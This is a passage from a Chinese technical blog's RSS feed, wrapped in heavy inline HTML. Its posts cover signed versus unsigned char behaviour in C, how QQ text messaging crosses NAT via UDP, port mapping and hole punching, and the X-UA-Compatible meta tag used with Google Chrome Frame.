text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">原因是操作系统在对内存进行移位时会保持变量符号不变，所以对首位是1的整数（负数）进行右移位操作时，最高位总是补1，而不是补0；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">所以为了在进行移位操作时不出现意外情况，请把变量声明为unsigned；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">另外有时候对char型变量赋整数值并对char型变量比较大小的时候，也可以声明为unsigned char来避免出现意外情况。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">例如假设令char a=0x8F;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后if(a==0x8F)printf(&quot;a eqauls 0x8F&quot;);</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">发现不会有输出，为什么呢？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">因为声明char的时候默认为有符号型，a在这儿被赋值为10001111，当做有符号型来看的话相当于-113（负113），当然不等于0x8F这个正数。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">以上这些内容也是之后自编QQ的一些数据处理会涉及到的问题。</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/391.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=391</wfw:commentRss></item><item><title>QQ通信原理（自编QQ铺垫篇之一）</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/390.html</link><pubDate>Wed, 14 May 2014 10:26:45 +0800</pubDate><guid>http://blog.careff.com/post/390.html</guid><description><![CDATA[<p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">QQ的文字通信采用UDP通信方式，UDP的特点是发送后不管；缺点是不保证数据的到达、不保证数据的正确到达以及数据到达后的顺序性，但是优点在于即时性与编程的简单性。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">对于单向发送数据（假设A-&gt;B），有以下几种情形：（以下内容中外网和公网是一个概念，内网和局域网是一个概念）</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CASE1：A具有一个公网IP，B具有一个公网IP：很简单地，沿路的路由会毫无疑问地把A的消息转发至B，反之亦然；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CASE2：A在局域网内，B具有公网IP：仅考虑单向传输，数据传送难度和情况1相同；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CASE3：A在公网，B在局域网：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">不如前两种情况容易实现。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">考虑一下，你怎么才能知道B在局域网中的地址？B又在几层局域网之下？B的每一层路由从上一层分配到的内网IP又是多少？不要以为这是很特殊的情况，我们在清水河就是这种情况：一般寝室里有1个路由，假设我们从这个路由分配到的IP可能是192.168.1.8，然后这个路由又从宿舍楼的交换器上分配到的IP可能是113.54.140.10，然后不知道宿舍楼的交换机还有没有上层局域网，假设它就直接接入到公网IP&nbsp;125.71.229.128（这是清水河校区的公网IP）。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后讨论一下外网中的计算机怎么把数据发送到你的电脑：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">A方案：端口映射：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">路由器一般都有这个功能，假设你分配到的IP是192.168.1.8。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">去路由器设置中的虚拟服务器设置中可以看到端口映射选项，如果你把80端口映射到你的IP，那么你搭建的web服务器（使用80端口）就可以被这个路由的上层网络访问了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">怎么访问呢，在路由器的上层网络所包含的任意一台主机（本楼的任意一台主机）上输入路由IP+端口113.54.140.10:80或者直接在浏览器里面输入路由IP就可以访问到你在路由器下这个局域网中搭建的web页面了；同理使用其他端口的应用也如此。然后我们对交换机做映射，把80端口映射给你的路由路由的IP 192.168.1.8，整个环节相当于：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">访问125.71.229.128:80（寝室楼交换机接入公网的IP）-&gt;跳转至113.54.140.10:80（路由接入交换机的IP）-&gt;跳转至192.168.1.8:80（你的电脑接入路由的IP），然后获取到你的计算机的80端口的服务，外网的计算机就能看到你搭建在内网的web页面了。假设QQ的默认端口是1234，那么你就层层映射1234端口，同样的道理。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">可事实上这种办法不适用QQ这种通信工具，原因如下：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">a，设置麻烦；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">b，映射一个端口只能供一个用户使用，而端口有限，其他应用程序的端口要求会受到侵犯；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">c，降低你电脑网络环境的安全性，因为这相当于打开了一扇直通你电脑的门，而路由本身对外网的屏蔽性的优点被你舍弃了；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">d，交换机可不是你想设置就能设置的；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">e，再说QQ就不是这么做的<img class="mceItem emotion" style="max-width: 550px; border-top: 0px; border-right: 0px; vertical-align: middle; border-bottom: 0px; border-left: 0px" border="0" alt="尴尬" src="http://s.xnimg.cn//imgpro/emotions/tie/5.gif?ver=1" /></p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">所以讨论下一种方法：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">B方案：既然内网能没问题地连接上外网计算机，那么可以让内网计算机把它的网络路径情况都告诉给外网计算机，然后外网计算机把路径给写入IP报文里，让路由负责转发就是了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">可实际上因为IP报文里无法包含除了目标地址和源地址以外的信息，于是连内网计算机自己都不清楚自己到外网经过的路径的情况，更不用说外网计算机把这些信息写在它发送出的IP报文里了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">再说，路由的端口对外网都是默认关闭的。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">C方案：内网穿透（NAT）：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">其实路由器有个功能，从内网发送出的数据经过的端口会在一定时间内保持打开状态，这段时间内外网可以从这个端口送入数据；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">假设一个数据包经过了这样的路径：192.168.1.8:345-&gt;113.54.140.10:1234-&gt;125.71.229.128:2345，那么在一定时间内，如果有个数据包发送给125.71.229.128:2345，它就会沿原路相反方向被送到192.168.1.8:345。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CASE 4：A和B都在内网，这时候A和B都不知道对方的地址，那么就需要一个架设在公网的服务器来作为二者的沟通了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">这也就是后面自己编写QQ要用到的知识，如果涉及到文件和图片的传输，还涉及到端口预测和TCP连接的建立。因为只教大家写文字版的QQ，所以有这些就够了。</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/390.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=390</wfw:commentRss></item><item><title>&amp;lt; meta http-equiv = &amp;quot;X-UA-Compatible&amp;quot; content = &amp;quot;IE=edge,chrome=1&amp;quot; /&amp;gt;</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/389.html</link><pubDate>Fri, 25 Apr 2014 08:45:59 +0800</pubDate><guid>http://blog.careff.com/post/389.html</guid><description><![CDATA[<div style="text-align: left; padding-bottom: 10px; widows: 2; text-transform: none; background-color: rgb(217,203,163); text-indent: 0px; letter-spacing: normal; font: 12px/20px Verdana, 宋体, sans-serif; white-space: normal; orphans: 2; color: rgb(50,62,50); clear: both; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class="articalTitle"><h2 style="border-bottom: 0px; border-left: 0px; padding-bottom: 0px; list-style-type: none; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; font-family: 微软雅黑, 黑体; color: rgb(157,82,0); font-size: 18px; border-top: 0px; font-weight: 300; border-right: 0px; padding-top: 0px" id="t_5ea463780100xwni" class="titName SG_txta">&lt;&nbsp;meta&nbsp;http-equiv&nbsp;=&nbsp;&quot;X-UA-Compatible&quot;&nbsp;content&nbsp;=&nbsp;&quot;IE=edge,chrome=1&quot;&nbsp;/&gt;</h2><span style="font-family: Arial; white-space: nowrap; color: rgb(99,113,96); margin-left: 5px; font-size: 10px; margin-right: 13px" class="time SG_txtc">(2012-03-09 16:31:07)</span><div style="float: right" class="turnBoxzz"><a style="background-image: url(http://simg.sinajs.cn/blog7newtpl/image/5/5_14/images/sg_newsp.png); position: relative; padding-bottom: 0px; padding-left: 3px; width: 86px; letter-spacing: 5px; padding-right: 0px; zoom: 1; display: inline-block; font-family: Verdana, 宋体, sans-serif; white-space: nowrap; background-position: 0px 0px; color: rgb(50,62,50); font-size: 12px !important; overflow: hidden; cursor: pointer; margin-right: 6px; text-decoration: none; padding-top: 0px" class="SG_aBtn SG_aBtn_ico SG_turn" href="javascript:;" action-data="{srcBlog:1, blogId:'5ea463780100xwni'}" action-type="reblog"><cite style="background-image: url(http://simg.sinajs.cn/blog7newtpl/image/5/5_14/images/sg_newsp.png); min-width: 1px; text-align: left; padding-bottom: 0px; line-height: 23px; overflow-x: visible; font-style: normal; padding-left: 32px; width: 34px; padding-right: 20px; display: inline-block !important; white-space: nowrap; background-position: 100% -28px; height: 23px; font-size: 12px !important; padding-top: 0px"><img style="background-image: url(http://simg.sinajs.cn/blog7style/images/common/sg_icon.png?20131218); border-bottom: 0px; position: absolute; border-left: 0px; padding-bottom: 0px; list-style-type: none; margin: 0px; padding-left: 0px; padding-right: 0px; background-position: 495px -60px; border-top: 0px; border-right: 0px; padding-top: 0px; top: 4px; left: 11px" class="SG_icon SG_icon111" align="absMiddle" src="http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif" width="15" height="15" alt="" />转载<em style="position: absolute; font-style: normal; font-size: 7px; right: 5px; top: 2px; -webkit-text-size-adjust: none" class="arrow">▼</em></cite></a></div></div><div style="text-align: left; widows: 2; text-transform: none; background-color: rgb(217,203,163); text-indent: 0px; width: 690px; letter-spacing: normal; font: 12px/20px Verdana, 宋体, sans-serif; white-space: normal; orphans: 2; color: rgb(50,62,50); clear: both; word-break: break-all; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" id="sina_keyword_ad_area" class="articalTag"><table style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">    <tbody>        <tr>            <td style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 10px; font-family: 宋体; font-size: 12px; vertical-align: top; padding-top: 0px" class="blog_tag"><span style="font-family: 宋体; color: rgb(99,113,96)" class="SG_txtb">标签：</span><span class="Apple-converted-space">&nbsp;</span>            <h3 style="border-bottom: 0px; border-left: 0px; padding-bottom: 0px; list-style-type: none; margin: 0px 5px 0px 0px; padding-left: 0px; padding-right: 0px; display: inline; font-size: 12px; border-top: 0px; font-weight: normal; border-right: 0px; padding-top: 0px"><a style="font-family: 宋体; white-space: nowrap; color: rgb(157,82,0); text-decoration: none" href="http://search.sina.com.cn/?c=blog&amp;q=it&amp;by=tag" target="_blank">it</a></h3>            </td>            <td style="padding-bottom: 0px; margin: 0px; padding-left: 0px; width: 220px; padding-right: 0px; font-family: 宋体; white-space: nowrap; font-size: 12px; vertical-align: top; padding-top: 0px" class="blog_class"><span style="font-family: 宋体; color: rgb(99,113,96)" class="SG_txtb">分类：</span><span class="Apple-converted-space">&nbsp;</span><a style="font-family: 宋体; color: rgb(157,82,0); text-decoration: none" href="http://blog.sina.com.cn/s/articlelist_1587831672_14_1.html" target="_blank">html</a></td>        </tr>    </tbody></table></div><div style="text-align: left; padding-bottom: 30px; widows: 2; text-transform: none; background-color: rgb(217,203,163); text-indent: 0px; width: 690px; letter-spacing: normal; font: 14px/21px simsun; word-wrap: normal; white-space: normal; orphans: 2; color: rgb(50,62,50); clear: both; overflow: hidden; word-break: normal; word-spacing: 0px; padding-top: 18px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" id="sina_keyword_ad_area2" class="articalContent  "><p style="border-bottom: 0px; text-align: left; border-left: 0px; padding-bottom: 5px; line-height: 21px; list-style-type: none; margin: 0px 0px 5px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; word-wrap: normal; color: rgb(85,85,85); word-break: normal; border-top: 0px; border-right: 0px; padding-top: 5px"><b>注：本文转载于互联网.</b></p><p style="border-bottom: 0px; text-align: left; border-left: 0px; padding-bottom: 5px; line-height: 21px; list-style-type: none; margin: 0px 0px 5px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; word-wrap: normal; color: rgb(85,85,85); word-break: normal; border-top: 0px; border-right: 0px; padding-top: 5px"><strong style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-weight: bold; padding-top: 0px">介绍:</strong><br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />这是个是IE8的专用标记,用来指定IE8浏览器去模拟某个特定版本的IE浏览器的渲染方式（比如人见人烦的IE6），以此来解决部分兼容问题，例如模拟IE7的具体方式如下：<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />&lt; meta http-equiv = &quot;X-UA-Compatible&quot; content = &quot;IE=EmulateIE7&quot; /&gt;<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />但令我好奇的是，此处这个标记后面竟然出现了chrome这样的值，难道IE也可以模拟chrome了？<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />迅速搜索了一下，才明白原来不是微软增强了IE，而是谷歌做了个外挂：Google Chrome Frame（谷歌内嵌浏览器框架GCF）。这个插件可以让用户的IE浏览器外不变，但用户在浏览网页时，实际上使用的是Google Chrome浏览器内核，而且支持IE6、7、8等多个版本的IE浏览器，谷歌这个墙角挖的真给力！<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />而上文提到的那个meta标记，则是在是安装了GCF后，用来指定页面使用chrome内核来渲染。<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />GCF下载地址: http://code.google.com/intl/zh-CN/chrome/chromeframe/<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />安装完成后,如果你想对某个页面使用GCF进行渲染，只需要在该页面的地址前加上 gcf： 即可，例如： gcf:http://cooleep.com<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />但是如果想要在开发时指定页面默认首先使用GCF进行渲染，如果未安装GCF再使用IE内核进行渲染，该如何进行呢？<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />就是使用这个标记。<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /><br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /><strong style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-weight: bold; padding-top: 0px">标记用法：</strong><br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />阅读了下chrome的开发文档（http://www.chromium.org/developers/how-tos/chrome-frame-getting-started，需翻墙），下面来简单讲解一下这个标记的语法。<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />1.最基本的用法：在页面的头部加入</p><div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; border-top-width: 0px; border-bottom-width: 0px; color: rgb(85,85,85); font-size: 12px; border-left-width: 0px; padding-top: 0px"><div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><table style="padding-bottom: 0px; line-height: normal; margin: 0px; padding-left: 0px; padding-right: 0px; font-size: 12px; padding-top: 0px" border="0" cellspacing="0" cellpadding="0">    <tbody style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">        <tr style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <h2 style="border-bottom: rgb(204,204,204) 1px solid; padding-bottom: 5px; border-right-width: 0px; list-style-type: none; margin: 15px 0px 10px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; color: rgb(19,133,250); font-size: 16px; border-left-width: 0px; padding-top: 5px">1</h2>            </td>            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; 